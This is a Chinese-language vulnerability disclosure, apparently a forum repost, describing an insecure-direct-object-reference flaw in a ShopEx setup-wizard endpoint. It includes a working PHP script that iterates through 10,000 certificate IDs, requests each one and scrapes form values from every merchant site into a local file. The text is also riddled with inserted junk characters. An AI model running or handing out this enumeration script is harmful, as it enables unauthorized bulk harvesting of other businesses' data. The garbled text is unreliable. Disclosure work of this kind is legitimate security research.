ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
9 y, x% U  U$ G* u) hShopEx某接口缺陷,可遍历所有网站
* i/ X6 ]7 X$ z8 O5 Q+ x详细说明：
' h0 \; c% \5 }1 n1 [6 D- O1 x问题出现在shopex 网店使用向导页面
2 c) B. T& t) M/ Q

- k. z. E  u! W) {$ K
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
( _  X* w, l  t
6 L3 V  v5 z& E: z4 m, f+ m
& g5 ~7 u  p/ A6 l8 E
1 ]7 l7 w, T$ r! |, Erefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}



我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
# E8 _* s/ @! ]1 z

$ }9 m' |9 q0 L- T! Q
# Z; m0 K' c6 n3 w8 b$ R! A+ p<?php
" J% ^3 P* l! {6 |, \( o9 o" w8 p
' e2 i$ T9 h2 Z% u* N: p1 p; ]                for ($i=1; $i < 10000; $i++) { //遍历
) t5 b/ a5 L& L; I7 `& |+ W4 H
3 b; q4 o* I, M                        ShowshopExD($i);

! C: }$ P) a# q                }
6 j6 C, V' U! T0 X" F7 N* S8 T6 k
( ~: |0 d4 L; B" x                function ShowshopExD($cid) {
$ W. T* C. @6 [, D+ q2 |8 Y* X+ }
                $url='http://guide.ecos.shopex.cn/step2.php';
7 h$ N* |) b; h; v
+ e1 S% @) [( C' Y' g6 n                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

9 h& O1 B" f' u2 W* {) ~        $url = $url.'?refer='.$refer;

7 F5 j; y, e2 v. E% s        $ch = curl_init($url);
- }5 \5 J5 B4 [+ r! `( T+ u  `
5 S2 S1 D: B; Q        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
8 t. \, b- @: ^) W; v
& F+ U, N# j4 o: ~: I' b        $result = curl_exec($ch);
/ E, _& C% I( z- U
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
6 r$ J$ O6 l$ i2 v. }3 a2 N0 |+ w, c( \3 {
        if(strpos($result,$refer))
! k4 ?4 |9 e9 d1 d. O+ ]
        {

                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

' t# f! z0 r# ^! C' F                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
* v( h9 m# F1 N. {* P
                foreach ($value[1] as $key) {
. M* ]  O6 h& o
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";

                        $col =$res[1][0].':'.$res[3][0]."\r\n";

! u: x% l7 Q7 `, h' i                        fwrite($fp, $col, strlen($col));

                }

$ a+ E; m9 P) W- c/ N% V                echo '--------------------------------'."\r\n";

8 G) \" R0 L6 E$ C                fclose($fp);

  o2 L* \' Z1 I' U1 x7 x        }
* t' m2 Q" h: e) p% H% g' v
        flush();

        curl_close($ch);

                }

?>
4 y' y4 l5 Y9 D- T5 L漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
1 |% _  G  A3 j& z  Q0 urefer换成其他加密方式